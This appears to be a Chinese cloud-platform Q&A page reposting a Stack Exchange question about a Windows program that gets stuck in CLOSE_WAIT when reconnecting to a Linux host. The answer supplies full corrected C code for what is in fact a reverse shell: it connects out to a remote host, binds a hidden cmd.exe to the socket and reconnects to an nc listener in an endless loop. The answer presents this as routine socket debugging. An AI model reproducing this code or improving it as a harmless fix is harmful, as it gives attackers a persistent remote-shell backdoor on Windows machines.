You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Windows端Socket连接Linux异常:CLOSE_WAIT导致重连失败求助

Troubleshooting Windows-to-Linux Socket Reconnection Issues

Great question—let’s break down why your Windows socket is stuck in CLOSE_WAIT and how to fix it. The core issues are in how you’re handling socket cleanup and loop structure. Here’s what’s going wrong and how to resolve it:

Key Problems in Your Code

  1. Incorrect Socket Closure: In your error loop, you’re calling closesocket(b)—but b is the port string, not your actual socket handle! This means the Winsock socket is never closed when connection attempts fail, leading to lingering sockets stuck in CLOSE_WAIT.

  2. Misplaced WSAStartup: You’re calling WSAStartup inside the infinite loop. This function should be called exactly once at the start of your program, not every time you try to reconnect. Repeated calls can cause resource leaks and unexpected behavior.

  3. No Cleanup After Connection Drops: When the Linux side closes the connection, your Windows program doesn’t detect this or close the existing socket. The cmd.exe process attached to the socket will exit when the connection is lost, but your code just sleeps and loops back to create a new socket without cleaning up the old one.

  4. Missing Error Handling: You don’t check if WSASocket or gethostbyname succeeds—if either fails, you’ll end up with invalid handles and undefined behavior.

Fixed Code with Explanations

Let’s rewrite your RunSocket function to address these issues:

void RunSocket(char *a, char *b, int secs) {
    WSADATA wsaData;
    // Initialize Winsock ONCE, outside the loop
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        MessageBox(0, "Winsock initialization failed.", "Error", MB_OK);
        return;
    }

    while (1) {
        SOCKET Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
        if (Winsock == INVALID_SOCKET) {
            MessageBox(0, "Failed to create socket.", "Error", MB_OK);
            Sleep(15000);
            continue;
        }

        struct sockaddr_in hax;
        char ip_addr[16];
        struct hostent *host = gethostbyname(a);
        if (!host) {
            MessageBox(0, "Failed to resolve host.", "Error", MB_OK);
            closesocket(Winsock);
            Sleep(15000);
            continue;
        }
        strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
        hax.sin_family = AF_INET;
        hax.sin_port = htons(atoi(b));
        hax.sin_addr.s_addr = inet_addr(ip_addr);

        // Attempt connection with proper cleanup on failure
        while (WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL) != 0) {
            MessageBox(0, "Did not connect.", "Error", MB_OK);
            closesocket(Winsock); // Close the invalid socket before retrying
            Sleep(15000);
            // Recreate the socket for the next attempt
            Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
            if (Winsock == INVALID_SOCKET) {
                MessageBox(0, "Failed to create socket.", "Error", MB_OK);
                Sleep(15000);
            }
        }

        // Set up process redirection
        STARTUPINFO ini_processo;
        PROCESS_INFORMATION processo_info;
        memset(&ini_processo, 0, sizeof(ini_processo));
        ini_processo.cb = sizeof(ini_processo);
        ini_processo.dwFlags = STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

        // Create the cmd process
        if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info)) {
            MessageBox(0, "Failed to start cmd.", "Error", MB_OK);
            closesocket(Winsock);
            continue;
        }

        // Wait for the cmd process to exit (triggers when connection is closed)
        WaitForSingleObject(processo_info.hProcess, INFINITE);

        // Cleanup process handles and socket
        CloseHandle(processo_info.hProcess);
        CloseHandle(processo_info.hThread);
        closesocket(Winsock); // Critical: close the socket after connection loss
        Sleep(secs);
    }

    // Cleanup Winsock (good practice if you ever exit the loop)
    WSACleanup();
}

Additional Fixes & Notes

  • Proper Socket Closure: Every time you create a socket, you must call closesocket when you’re done with it—whether the connection fails, succeeds and then drops, etc. This ensures the OS doesn’t leave sockets lingering in CLOSE_WAIT.

  • Wait for Process Exit: Using WaitForSingleObject on the cmd.exe process lets your program know exactly when the connection has been closed (since cmd exits when its stdin/stdout is disconnected). This removes guesswork about when to clean up the socket.

  • Winsock Initialization: Moving WSAStartup outside the loop prevents unnecessary resource allocation and potential leaks.

  • Error Checking: Added checks for socket creation, host resolution, and process startup to catch failures early and clean up properly.

Why This Fixes the CLOSE_WAIT Issue

When the Linux side closes the connection, the Windows TCP stack sends a FIN to your program. If your program doesn’t call closesocket on the socket, the OS keeps it in CLOSE_WAIT waiting for your program to acknowledge the closure. By explicitly closing the socket after the cmd.exe process exits, you tell the OS to clean up the socket immediately, eliminating the CLOSE_WAIT state.

Testing this should resolve your reconnection issues—now when you restart nc -lp 9090 on Linux, your Windows program will properly close the old socket and create a new one to reconnect.

内容的提问来源于stack exchange,提问作者bob dilly

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.15 04:33:01